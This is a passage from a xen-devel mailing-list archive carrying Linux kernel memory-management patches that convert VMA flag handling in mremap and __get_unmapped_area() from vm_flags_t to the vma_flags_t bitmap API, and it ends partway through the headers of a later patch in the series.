@@ -1032,7 +1032,7 @@ static void vrm_stat_account(struct vma_remap_struct *vrm,
 	struct vm_area_struct *vma = vrm->vma;
 
 	vm_stat_account(mm, vma->vm_flags, pages);
-	if (vma->vm_flags & VM_LOCKED)
+	if (vma_test(vma, VMA_LOCKED_BIT))
 		mm->locked_vm += pages;
 }
 
@@ -1176,7 +1176,7 @@ static void unmap_source_vma(struct vma_remap_struct *vrm)
 	 * arose, in which case we _do_ wish to unmap the _new_ VMA, which means
 	 * we actually _do_ want it be unaccounted.
 	 */
-	bool accountable_move = (vma->vm_flags & VM_ACCOUNT) &&
+	bool accountable_move = vma_test(vma, VMA_ACCOUNT_BIT) &&
 		!(vrm->flags & MREMAP_DONTUNMAP);
 
 	/*
@@ -1195,7 +1195,7 @@ static void unmap_source_vma(struct vma_remap_struct *vrm)
 	 * portions of the original VMA that remain.
 	 */
 	if (accountable_move) {
-		vm_flags_clear(vma, VM_ACCOUNT);
+		vma_clear_flags(vma, VMA_ACCOUNT_BIT);
 		/* We are about to split vma, so store the start/end. */
 		vm_start = vma->vm_start;
 		vm_end = vma->vm_end;
@@ -1220,8 +1220,8 @@ static void unmap_source_vma(struct vma_remap_struct *vrm)
 	 * |             |
 	 * |-------------|
 	 *
-	 * Having cleared VM_ACCOUNT from the whole VMA, after we unmap above
-	 * we'll end up with:
+	 * Having cleared VMA_ACCOUNT_BIT from the whole VMA, after we unmap
+	 * above we'll end up with:
 	 *
 	 *    addr  end
 	 *     |     |
@@ -1241,13 +1241,15 @@ static void unmap_source_vma(struct vma_remap_struct *vrm)
 		if (vm_start < addr) {
 			struct vm_area_struct *prev = vma_prev(&vmi);
 
-			vm_flags_set(prev, VM_ACCOUNT); /* Acquires VMA lock. */
+			vma_start_write(prev);
+			vma_set_flags(prev, VMA_ACCOUNT_BIT);
 		}
 
 		if (vm_end > end) {
 			struct vm_area_struct *next = vma_next(&vmi);
 
-			vm_flags_set(next, VM_ACCOUNT); /* Acquires VMA lock. */
+			vma_start_write(next);
+			vma_set_flags(next, VMA_ACCOUNT_BIT);
 		}
 	}
 }
@@ -1330,8 +1332,8 @@ static void dontunmap_complete(struct vma_remap_struct *vrm,
 	unsigned long old_start = vrm->vma->vm_start;
 	unsigned long old_end = vrm->vma->vm_end;
 
-	/* We always clear VM_LOCKED[ONFAULT] on the old VMA. */
-	vm_flags_clear(vrm->vma, VM_LOCKED_MASK);
+	/* We always clear VMA_LOCKED[ONFAULT]_BIT on the old VMA. */
+	vma_clear_flags_mask(vrm->vma, VMA_LOCKED_MASK);
 
 	/*
 	 * anon_vma links of the old vma is no longer needed after its page
@@ -1767,14 +1769,14 @@ static int check_prep_vma(struct vma_remap_struct *vrm)
 	 * based on the original.  There are no known use cases for this
 	 * behavior.  As a result, fail such attempts.
 	 */
-	if (!old_len && !(vma->vm_flags & (VM_SHARED | VM_MAYSHARE))) {
+	if (!old_len && !vma_test_any(vma, VMA_SHARED_BIT, VMA_MAYSHARE_BIT)) {
 		pr_warn_once("%s (%d): attempted to duplicate a private mapping with mremap.  This is not supported.\n",
 			     current->comm, current->pid);
 		return -EINVAL;
 	}
 
 	if ((vrm->flags & MREMAP_DONTUNMAP) &&
-			(vma->vm_flags & (VM_DONTEXPAND | VM_PFNMAP)))
+	    vma_test_any(vma, VMA_DONTEXPAND_BIT, VMA_PFNMAP_BIT))
 		return -EINVAL;
 
 	/*
@@ -1804,7 +1806,7 @@ static int check_prep_vma(struct vma_remap_struct *vrm)
 		return 0;
 
 	/* We are expanding and the VMA is mlock()'d so we need to populate. */
-	if (vma->vm_flags & VM_LOCKED)
+	if (vma_test(vma, VMA_LOCKED_BIT))
 		vrm->populate_expand = true;
 
 	/* Need to be careful about a growing mapping */
@@ -1812,10 +1814,10 @@ static int check_prep_vma(struct vma_remap_struct *vrm)
 	if (pgoff + (new_len >> PAGE_SHIFT) < pgoff)
 		return -EINVAL;
 
-	if (vma->vm_flags & (VM_DONTEXPAND | VM_PFNMAP))
+	if (vma_test_any(vma, VMA_DONTEXPAND_BIT, VMA_PFNMAP_BIT))
 		return -EFAULT;
 
-	if (!mlock_future_ok(mm, vma->vm_flags & VM_LOCKED, vrm->delta))
+	if (!mlock_future_ok(mm, vma_test(vma, VMA_LOCKED_BIT), vrm->delta))
 		return -EAGAIN;
 
 	if (!may_expand_vm(mm, &vma->flags, vrm->delta >> PAGE_SHIFT))

-- 
2.55.0



From xen-devel-bounces@lists.xenproject.org Sun Jul 12 05:29:03 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sun, 12 Jul 2026 05:29:03 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1360568.1613437 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wimkH-0007o7-AZ; Sun, 12 Jul 2026 05:28:53 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1360568.1613437; Sun, 12 Jul 2026 05:28:53 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wimkH-0007kX-6S; Sun, 12 Jul 2026 05:28:53 +0000
Received: by outflank-mailman (input) for mailman id 1360568;
 Sat, 11 Jul 2026 18:46:49 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ljs@kernel.org>) id 1wiciu-0005ID-UV
 for xen-devel@lists.xenproject.org; Sat, 11 Jul 2026 18:46:49 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wicit-009Nlj-MH
 for xen-devel@lists.xenproject.org; Sat, 11 Jul 2026 20:46:47 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ljs@kernel.org>)
 id 6a528f20-5cb7-0a2a0a5109dd-0a2a450cc516-28
 for <xen-devel@lists.xenproject.org>; Sat, 11 Jul 2026 20:46:47 +0200
Received: from [172.105.4.254] (helo=tor.source.kernel.org)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <ljs@kernel.org>)
 id 6a528f96-e897-0a2a450c0019-ac6904febc5a-3
 for <xen-devel@lists.xenproject.org>; Sat, 11 Jul 2026 20:46:47 +0200
Received: from smtp.kernel.org (quasi.space.kernel.org [100.103.45.18])
 by tor.source.kernel.org (Postfix) with ESMTP id B34E460052;
 Sat, 11 Jul 2026 18:46:45 +0000 (UTC)
Received: by smtp.kernel.org (Postfix) with ESMTPSA id 0B0801F00A3A;
 Sat, 11 Jul 2026 18:46:24 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=k20260515 header.d=kernel.org header.i="@kernel.org" header.h="From:Date:Subject:References:In-Reply-To:To:Cc"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=kernel.org;
	s=k20260515; t=1783795605;
	bh=+oyZ6VXOyf4ckjeNtdyGIBWr/UznafJo3nCv5RCwhdU=;
	h=From:Date:Subject:References:In-Reply-To:To:Cc;
	b=Cml+CY1MKh9iVCaXSwyy6lG3+svNJMWg+WudrFkeSHkVlr1sQGGiZzdcqL8HJbI+A
	 rXuXtkh5gKQ1rSQYZPuWrdWlAUMPoPlZVEDx0atFOjr2KtSAJjf3rDgIu3xThiSiQM
	 HX1/tqt8hWTLPU/KAccJSQ5EH/bfLUB7EEfE0AKJp85chpipCgPl9xVnNZagJbwTfR
	 I/eUKWUU5C/SeilvNVERd66MVxAvV2vsfeTyz76Ualz74to9fWZfJVf52ooiF2vi+v
	 7G6CnYstSi7Q/Nn0dfxn9rxYwzz4gdrTPUd0waE92egL1j6qcgR2A2M2kyUPm8UN72
	 XTgF2KlMJvQSA==
From: Lorenzo Stoakes <ljs@kernel.org>
Date: Sat, 11 Jul 2026 19:45:00 +0100
Subject: [PATCH v2 03/13] mm: convert __get_unmapped_area() to use
 vma_flags_t
MIME-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
Message-Id: <20260711-b4-vma-flags-mm-v2-3-0fa2357d5431@kernel.org>
References: <20260711-b4-vma-flags-mm-v2-0-0fa2357d5431@kernel.org>
In-Reply-To: <20260711-b4-vma-flags-mm-v2-0-0fa2357d5431@kernel.org>
To: Andrew Morton <akpm@linux-foundation.org>, 
 David Hildenbrand <david@kernel.org>, 
 "Liam R. Howlett" <liam@infradead.org>, Vlastimil Babka <vbabka@kernel.org>, 
 Mike Rapoport <rppt@kernel.org>, Suren Baghdasaryan <surenb@google.com>, 
 Michal Hocko <mhocko@suse.com>, 
 Thomas Bogendoerfer <tsbogend@alpha.franken.de>, 
 Benjamin LaHaise <bcrl@kvack.org>, Alexander Viro <viro@zeniv.linux.org.uk>, 
 Christian Brauner <brauner@kernel.org>, Jan Kara <jack@suse.cz>, 
 Hugh Dickins <hughd@google.com>, 
 Baolin Wang <baolin.wang@linux.alibaba.com>, Jann Horn <jannh@google.com>, 
 Pedro Falcato <pfalcato@suse.de>, Muchun Song <muchun.song@linux.dev>, 
 Oscar Salvador <osalvador@suse.de>, Zi Yan <ziy@nvidia.com>, 
 Nico Pache <npache@redhat.com>, Ryan Roberts <ryan.roberts@arm.com>, 
 Dev Jain <dev.jain@arm.com>, Barry Song <baohua@kernel.org>, 
 Lance Yang <lance.yang@linux.dev>, Usama Arif <usama.arif@linux.dev>, 
 Madhavan Srinivasan <maddy@linux.ibm.com>, 
 Michael Ellerman <mpe@ellerman.id.au>, Nicholas Piggin <npiggin@gmail.com>, 
 "Christophe Leroy (CS GROUP)" <chleroy@kernel.org>, 
 Maarten Lankhorst <maarten.lankhorst@linux.intel.com>, 
 Maxime Ripard <mripard@kernel.org>, Thomas Zimmermann <tzimmermann@suse.de>, 
 David Airlie <airlied@gmail.com>, Simona Vetter <simona@ffwll.ch>, 
 Lucas Stach <l.stach@pengutronix.de>, 
 Russell King <linux+etnaviv@armlinux.org.uk>, 
 Christian Gmeiner <christian.gmeiner@gmail.com>, 
 Inki Dae <inki.dae@samsung.com>, Seung-Woo Kim <sw0312.kim@samsung.com>, 
 Kyungmin Park <kyungmin.park@samsung.com>, 
 Krzysztof Kozlowski <krzk@kernel.org>, 
 Peter Griffin <peter.griffin@linaro.org>, 
 Alim Akhtar <alim.akhtar@samsung.com>, 
 Jani Nikula <jani.nikula@linux.intel.com>, 
 Joonas Lahtinen <joonas.lahtinen@linux.intel.com>, 
 Rodrigo Vivi <rodrigo.vivi@intel.com>, 
 Tvrtko Ursulin <tursulin@ursulin.net>, 
 Rob Clark <robin.clark@oss.qualcomm.com>, 
 Dmitry Baryshkov <lumag@kernel.org>, 
 Abhinav Kumar <abhinav.kumar@linux.dev>, 
 Jessica Zhang <jesszhan0024@gmail.com>, Sean Paul <sean@poorly.run>, 
 Marijn Suijten <marijn.suijten@somainline.org>, 
 Lyude Paul <lyude@redhat.com>, Danilo Krummrich <dakr@kernel.org>, 
 Tomi Valkeinen <tomi.valkeinen@ideasonboard.com>, 
 Sandy Huang <hjc@rock-chips.com>, 
 =?utf-8?q?Heiko_St=C3=BCbner?= <heiko@sntech.de>, 
 Andy Yan <andy.yan@rock-chips.com>, 
 Thierry Reding <thierry.reding@kernel.org>, 
 Mikko Perttunen <mperttunen@nvidia.com>, 
 Jonathan Hunter <jonathanh@nvidia.com>, Gerd Hoffmann <kraxel@redhat.com>, 
 Dmitry Osipenko <dmitry.osipenko@collabora.com>, 
 Gurchetan Singh <gurchetansingh@chromium.org>, 
 Chia-I Wu <olvaffe@gmail.com>, Zack Rusin <zack.rusin@broadcom.com>, 
 Broadcom internal kernel review list <bcm-kernel-feedback-list@broadcom.com>, 
 Matthew Brost <matthew.brost@intel.com>, 
 =?utf-8?q?Thomas_Hellstr=C3=B6m?= <thomas.hellstrom@linux.intel.com>, 
 Oleksandr Andrushchenko <oleksandr_andrushchenko@epam.com>, 
 Helge Deller <deller@gmx.de>, Kees Cook <kees@kernel.org>, 
 Jaroslav Kysela <perex@perex.cz>, Takashi Iwai <tiwai@suse.com>, 
 Boris Brezillon <boris.brezillon@collabora.com>, 
 Steven Price <steven.price@arm.com>, Liviu Dudau <liviu.dudau@arm.com>
Cc: Lorenzo Stoakes <ljs@kernel.org>, linux-mm@kvack.org, 
 linux-kernel@vger.kernel.org, linux-mips@vger.kernel.org, 
 linux-aio@kvack.org, linux-fsdevel@vger.kernel.org, 
 linuxppc-dev@lists.ozlabs.org, dri-devel@lists.freedesktop.org, 
 etnaviv@lists.freedesktop.org, linux-arm-kernel@lists.infradead.org, 
 linux-samsung-soc@vger.kernel.org, intel-gfx@lists.freedesktop.org, 
 linux-arm-msm@vger.kernel.org, freedreno@lists.freedesktop.org, 
 nouveau@lists.freedesktop.org, linux-rockchip@lists.infradead.org, 
 linux-tegra@vger.kernel.org, virtualization@lists.linux.dev, 
 intel-xe@lists.freedesktop.org, xen-devel@lists.xenproject.org, 
 linux-fbdev@vger.kernel.org, linux-sound@vger.kernel.org
X-Mailer: b4 0.15.2
X-Developer-Signature: v=1; a=openpgp-sha256; l=9398; i=ljs@kernel.org;
 h=from:subject:message-id; bh=P0Efpepv9aum3/hXSHnF6jwUomGPaWFDJdFnLdhoXJo=;
 b=owGbwMvMwCV2fu7ZrsZH9SKMp9WSGLKC+i1XfIv0CD/o0frojeduF9dp+Rfm/9jrr3ds68Nz3
 57n/OKU6yhlYRDjYpAVU2R5/kV8f5BI2LzOC/5uMHNYmUCGMHBxCsBEnDoZGd5HcnpZ869dcttu
 2bF2Swk/5rTaDe8c/3RGds0Md33/o5Dhf5b45Mv7GttXXJ6oxSr/d85Sl/UV2UdDRPJXMmd5+xk
 8YwAA
X-Developer-Key: i=ljs@kernel.org; a=openpgp;
 fpr=E7F417BF5214569E89D04F46CF9DCD8A81E27F14
X-purgate-ID: tlsNG-d25034/1783795607-46AEE6B2-F7D372C6/0/0
X-purgate-type: clean
X-purgate-size: 9400

Update __get_unmapped_area() to be parameterised by vma_flags_t rather than
vm_flags_t as part of the effort to move VMA flags from a system word to a
bitmap.

We cascade the changes up to arch_get_unmapped_area_topdown() and
arch_get_unmapped_area(), where, for now, we use vma_flags_to_legacy() in
order to propagate the VMA flags.

No functional change intended.

Reviewed-by: Lance Yang <lance.yang@linux.dev>
Reviewed-by: Zi Yan <ziy@nvidia.com>
Signed-off-by: Lorenzo Stoakes <ljs@kernel.org>
---
 fs/hugetlbfs/inode.c     |  3 ++-
 include/linux/huge_mm.h  | 10 +++++-----
 include/linux/mm.h       |  6 ++++--
 include/linux/sched/mm.h |  9 +++------
 mm/huge_memory.c         | 21 ++++++++++++---------
 mm/mmap.c                | 27 ++++++++++++++-------------
 6 files changed, 40 insertions(+), 36 deletions(-)

diff --git a/fs/hugetlbfs/inode.c b/fs/hugetlbfs/inode.c
index 9fddd1e0b813..43066f9ddf52 100644
--- a/fs/hugetlbfs/inode.c
+++ b/fs/hugetlbfs/inode.c
@@ -184,7 +184,8 @@ hugetlb_get_unmapped_area(struct file *file, unsigned long addr,
 	if (addr)
 		addr0 = ALIGN(addr, huge_page_size(h));
 
-	return mm_get_unmapped_area_vmflags(file, addr0, len, pgoff, flags, 0);
+	return mm_get_unmapped_area_vmaflags(file, addr0, len, pgoff, flags,
+					     EMPTY_VMA_FLAGS);
 }
 
 /*
diff --git a/include/linux/huge_mm.h b/include/linux/huge_mm.h
index cae97c307280..9e43e138c0b7 100644
--- a/include/linux/huge_mm.h
+++ b/include/linux/huge_mm.h
@@ -391,9 +391,9 @@ static inline bool thp_disabled_by_hw(void)
 
 unsigned long thp_get_unmapped_area(struct file *filp, unsigned long addr,
 		unsigned long len, unsigned long pgoff, unsigned long flags);
-unsigned long thp_get_unmapped_area_vmflags(struct file *filp, unsigned long addr,
+unsigned long thp_get_unmapped_area_vmaflags(struct file *filp, unsigned long addr,
 		unsigned long len, unsigned long pgoff, unsigned long flags,
-		vm_flags_t vm_flags);
+		vma_flags_t vma_flags);
 
 enum split_type {
 	SPLIT_TYPE_UNIFORM,
@@ -617,9 +617,9 @@ static inline unsigned long thp_vma_allowable_orders(struct vm_area_struct *vma,
 #define thp_get_unmapped_area	NULL
 
 static inline unsigned long
-thp_get_unmapped_area_vmflags(struct file *filp, unsigned long addr,
-			      unsigned long len, unsigned long pgoff,
-			      unsigned long flags, vm_flags_t vm_flags)
+thp_get_unmapped_area_vmaflags(struct file *filp, unsigned long addr,
+			       unsigned long len, unsigned long pgoff,
+			       unsigned long flags, vma_flags_t vma_flags)
 {
 	return 0;
 }
diff --git a/include/linux/mm.h b/include/linux/mm.h
index d20aa2f80472..5b3825fddf58 100644
--- a/include/linux/mm.h
+++ b/include/linux/mm.h
@@ -4191,13 +4191,15 @@ unsigned long randomize_page(unsigned long start, unsigned long range);
 
 unsigned long
 __get_unmapped_area(struct file *file, unsigned long addr, unsigned long len,
-		    unsigned long pgoff, unsigned long flags, vm_flags_t vm_flags);
+		    unsigned long pgoff, unsigned long flags,
+		    vma_flags_t vma_flags);
 
 static inline unsigned long
 get_unmapped_area(struct file *file, unsigned long addr, unsigned long len,
 		  unsigned long pgoff, unsigned long flags)
 {
-	return __get_unmapped_area(file, addr, len, pgoff, flags, 0);
+	return __get_unmapped_area(file, addr, len, pgoff, flags,
+				   EMPTY_VMA_FLAGS);
 }
 
 unsigned long do_mmap(struct file *file, unsigned long addr,
diff --git a/include/linux/sched/mm.h b/include/linux/sched/mm.h
index 95d0040df584..10d723bee95c 100644
--- a/include/linux/sched/mm.h
+++ b/include/linux/sched/mm.h
@@ -193,12 +193,9 @@ unsigned long mm_get_unmapped_area(struct file *filp, unsigned long addr,
 				   unsigned long len, unsigned long pgoff,
 				   unsigned long flags);
 
-unsigned long mm_get_unmapped_area_vmflags(struct file *filp,
-					   unsigned long addr,
-					   unsigned long len,
-					   unsigned long pgoff,
-					   unsigned long flags,
-					   vm_flags_t vm_flags);
+unsigned long mm_get_unmapped_area_vmaflags(struct file *filp,
+		unsigned long addr, unsigned long len, unsigned long pgoff,
+		unsigned long flags, vma_flags_t vma_flags);
 
 unsigned long
 generic_get_unmapped_area(struct file *filp, unsigned long addr,
diff --git a/mm/huge_memory.c b/mm/huge_memory.c
index 0dc6d630570f..40d6b4078e3d 100644
--- a/mm/huge_memory.c
+++ b/mm/huge_memory.c
@@ -1196,7 +1196,7 @@ static inline bool is_transparent_hugepage(const struct folio *folio)
 static unsigned long __thp_get_unmapped_area(struct file *filp,
 		unsigned long addr, unsigned long len,
 		loff_t off, unsigned long flags, unsigned long size,
-		vm_flags_t vm_flags)
+		vma_flags_t vma_flags)
 {
 	loff_t off_end = off + len;
 	loff_t off_align = round_up(off, size);
@@ -1212,8 +1212,9 @@ static unsigned long __thp_get_unmapped_area(struct file *filp,
 	if (len_pad < len || (off + len_pad) < off)
 		return 0;
 
-	ret = mm_get_unmapped_area_vmflags(filp, addr, len_pad,
-					   off >> PAGE_SHIFT, flags, vm_flags);
+	ret = mm_get_unmapped_area_vmaflags(filp, addr, len_pad,
+					    off >> PAGE_SHIFT, flags,
+					    vma_flags);
 
 	/*
 	 * The failure might be due to length padding. The caller will retry
@@ -1238,25 +1239,27 @@ static unsigned long __thp_get_unmapped_area(struct file *filp,
 	return ret;
 }
 
-unsigned long thp_get_unmapped_area_vmflags(struct file *filp, unsigned long addr,
+unsigned long thp_get_unmapped_area_vmaflags(struct file *filp, unsigned long addr,
 		unsigned long len, unsigned long pgoff, unsigned long flags,
-		vm_flags_t vm_flags)
+		vma_flags_t vma_flags)
 {
 	unsigned long ret;
 	loff_t off = (loff_t)pgoff << PAGE_SHIFT;
 
-	ret = __thp_get_unmapped_area(filp, addr, len, off, flags, PMD_SIZE, vm_flags);
+	ret = __thp_get_unmapped_area(filp, addr, len, off, flags, PMD_SIZE,
+				      vma_flags);
 	if (ret)
 		return ret;
 
-	return mm_get_unmapped_area_vmflags(filp, addr, len, pgoff, flags,
-					    vm_flags);
+	return mm_get_unmapped_area_vmaflags(filp, addr, len, pgoff, flags,
+					     vma_flags);
 }
 
 unsigned long thp_get_unmapped_area(struct file *filp, unsigned long addr,
 		unsigned long len, unsigned long pgoff, unsigned long flags)
 {
-	return thp_get_unmapped_area_vmflags(filp, addr, len, pgoff, flags, 0);
+	return thp_get_unmapped_area_vmaflags(filp, addr, len, pgoff, flags,
+					      EMPTY_VMA_FLAGS);
 }
 EXPORT_SYMBOL_GPL(thp_get_unmapped_area);
 
diff --git a/mm/mmap.c b/mm/mmap.c
index bcc3793e532d..4a88b2a233f7 100644
--- a/mm/mmap.c
+++ b/mm/mmap.c
@@ -411,8 +411,7 @@ unsigned long do_mmap(struct file *file, unsigned long addr,
 	/* Obtain the address to map to. we verify (or select) it and ensure
 	 * that it represents a valid section of the address space.
 	 */
-	addr = __get_unmapped_area(file, addr, len, pgoff, flags,
-				   vma_flags_to_legacy(vma_flags));
+	addr = __get_unmapped_area(file, addr, len, pgoff, flags, vma_flags);
 	if (IS_ERR_VALUE(addr))
 		return addr;
 
@@ -812,19 +811,20 @@ arch_get_unmapped_area_topdown(struct file *filp, unsigned long addr,
 }
 #endif
 
-unsigned long mm_get_unmapped_area_vmflags(struct file *filp, unsigned long addr,
-					   unsigned long len, unsigned long pgoff,
-					   unsigned long flags, vm_flags_t vm_flags)
+unsigned long mm_get_unmapped_area_vmaflags(struct file *filp, unsigned long addr,
+		unsigned long len, unsigned long pgoff, unsigned long flags,
+		vma_flags_t vma_flags)
 {
 	if (mm_flags_test(MMF_TOPDOWN, current->mm))
 		return arch_get_unmapped_area_topdown(filp, addr, len, pgoff,
-						      flags, vm_flags);
-	return arch_get_unmapped_area(filp, addr, len, pgoff, flags, vm_flags);
+				flags, vma_flags_to_legacy(vma_flags));
+	return arch_get_unmapped_area(filp, addr, len, pgoff, flags,
+			vma_flags_to_legacy(vma_flags));
 }
 
 unsigned long
 __get_unmapped_area(struct file *file, unsigned long addr, unsigned long len,
-		unsigned long pgoff, unsigned long flags, vm_flags_t vm_flags)
+		unsigned long pgoff, unsigned long flags, vma_flags_t vma_flags)
 {
 	unsigned long (*get_area)(struct file *, unsigned long,
 				  unsigned long, unsigned long, unsigned long)
@@ -859,11 +859,11 @@ __get_unmapped_area(struct file *file, unsigned long addr, unsigned long len,
 		   && !addr /* no hint */
 		   && IS_ALIGNED(len, PMD_SIZE)) {
 		/* Ensures that larger anonymous mappings are THP aligned. */
-		addr = thp_get_unmapped_area_vmflags(file, addr, len,
-						     pgoff, flags, vm_flags);
+		addr = thp_get_unmapped_area_vmaflags(file, addr, len,
+						      pgoff, flags, vma_flags);
 	} else {
-		addr = mm_get_unmapped_area_vmflags(file, addr, len,
-						    pgoff, flags, vm_flags);
+		addr = mm_get_unmapped_area_vmaflags(file, addr, len,
+						     pgoff, flags, vma_flags);
 	}
 	if (IS_ERR_VALUE(addr))
 		return addr;
@@ -881,7 +881,8 @@ unsigned long
 mm_get_unmapped_area(struct file *file, unsigned long addr, unsigned long len,
 		     unsigned long pgoff, unsigned long flags)
 {
-	return mm_get_unmapped_area_vmflags(file, addr, len, pgoff, flags, 0);
+	return mm_get_unmapped_area_vmaflags(file, addr, len, pgoff, flags,
+					     EMPTY_VMA_FLAGS);
 }
 EXPORT_SYMBOL(mm_get_unmapped_area);
 

-- 
2.55.0



From xen-devel-bounces@lists.xenproject.org Sun Jul 12 05:29:03 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sun, 12 Jul 2026 05:29:03 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1360582.1613493 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wimkK-0000LG-9f; Sun, 12 Jul 2026 05:28:56 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1360582.1613493; Sun, 12 Jul 2026 05:28:56 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wimkJ-0000JH-QG; Sun, 12 Jul 2026 05:28:55 +0000
Received: by outflank-mailman (input) for mailman id 1360582;
 Sat, 11 Jul 2026 18:49:14 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ljs@kernel.org>) id 1wiclG-0005ae-G5
 for xen-devel@lists.xenproject.org; Sat, 11 Jul 2026 18:49:14 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wiclF-00ANfV-TL
 for xen-devel@lists.xenproject.org; Sat, 11 Jul 2026 20:49:13 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ljs@kernel.org>)
 id 6a528fa4-bab6-0a2a0a5309dd-0a2a4503ebce-42
 for <xen-devel@lists.xenproject.org>; Sat, 11 Jul 2026 20:49:13 +0200
Received: from [172.105.4.254] (helo=tor.source.kernel.org)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <ljs@kernel.org>)
 id 6a529028-f2d2-0a2a45030019-ac6904fe9198-3
 for <xen-devel@lists.xenproject.org>; Sat, 11 Jul 2026 20:49:13 +0200
Received: from smtp.kernel.org (quasi.space.kernel.org [100.103.45.18])
 by tor.source.kernel.org (Postfix) with ESMTP id 2A56F60052;
 Sat, 11 Jul 2026 18:49:12 +0000 (UTC)
Received: by smtp.kernel.org (Postfix) with ESMTPSA id 7572D1F000E9;
 Sat, 11 Jul 2026 18:48:51 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=k20260515 header.d=kernel.org header.i="@kernel.org" header.h="From:Date:Subject:References:In-Reply-To:To:Cc"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=kernel.org;
	s=k20260515; t=1783795751;
	bh=PQeVSJrFNGuAKYRqlJkf6JopIzp3qlHM9CyXIq3KHK4=;
	h=From:Date:Subject:References:In-Reply-To:To:Cc;
	b=A3lQ/qzw9J0Mef36BzMgXFxCB7dkGxinxIIAW9JQmfMzrEgdVXCZbMvez44EZPEeX
	 gzXNhanDpKBvr0GU1vbuTRlAVgICQASw38QvYjbrawwYLjk41zoY+o6bs5EJQXWA4B
	 N8ZheKvFfC7ObvlfJNb/UgFOGLScihFKvVLmqfFpAtRomluF+G9vwP3+ja7py9qw8f
	 K4SpVyb7Rs9cJFxpYgZkzgj3ThMgqYWZtLE4yV783JlpDDz2j3hz/q139ORq9vViT5
	 +PH6eC4zBsvX0nSUubBGLLM+1N8LdIbC9v3OR05k+HOezHB2d7wpLQkmt7rZqu2Bfi
	 X2DIl7kAZDv+A==
From: Lorenzo Stoakes <ljs@kernel.org>
Date: Sat, 11 Jul 2026 19:45:07 +0100
Subject: [PATCH v2 10/13] mm/vma: convert miscellaneous uses of VMA flags
 in core mm
MIME-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
Message-Id: <20260711-b4-vma-flags-mm-v2-10-0fa2357d5431@kernel.org>
References: <20260711-b4-vma-flags-mm-v2-0-0fa2357d5431@kernel.org>
In-Reply-To: <20260711-b4-vma-flags-mm-v2-0-0fa2357d5431@kernel.org>
To: Andrew Morton <akpm@linux-foundation.org>, 
 David Hildenbrand <david@kernel.org>, 
 "Liam R. Howlett" <liam@infradead.org>, Vlastimil Babka <vbabka@kernel.org>, 
 Mike Rapoport <rppt@kernel.org>, Suren Baghdasaryan <surenb@google.com>, 
 Michal Hocko <mhocko@suse.com>, 
 Thomas Bogendoerfer <tsbogend@alpha.franken.de>, 
 Benjamin LaHaise <bcrl@kvack.org>, Alexander Viro <viro@zeniv.linux.org.uk>, 
 Christian Brauner <brauner@kernel.org>, Jan Kara <jack@suse.cz>, 
 Hugh Dickins <hughd@google.com>, 
 Baolin Wang <baolin.wang@linux.alibaba.com>, Jann Horn <jannh@google.com>, 
 Pedro Falcato <pfalcato@suse.de>, Muchun Song <muchun.song@linux.dev>, 
 Oscar Salvador <osalvador@suse.de>, Zi Yan <ziy@nvidia.com>, 
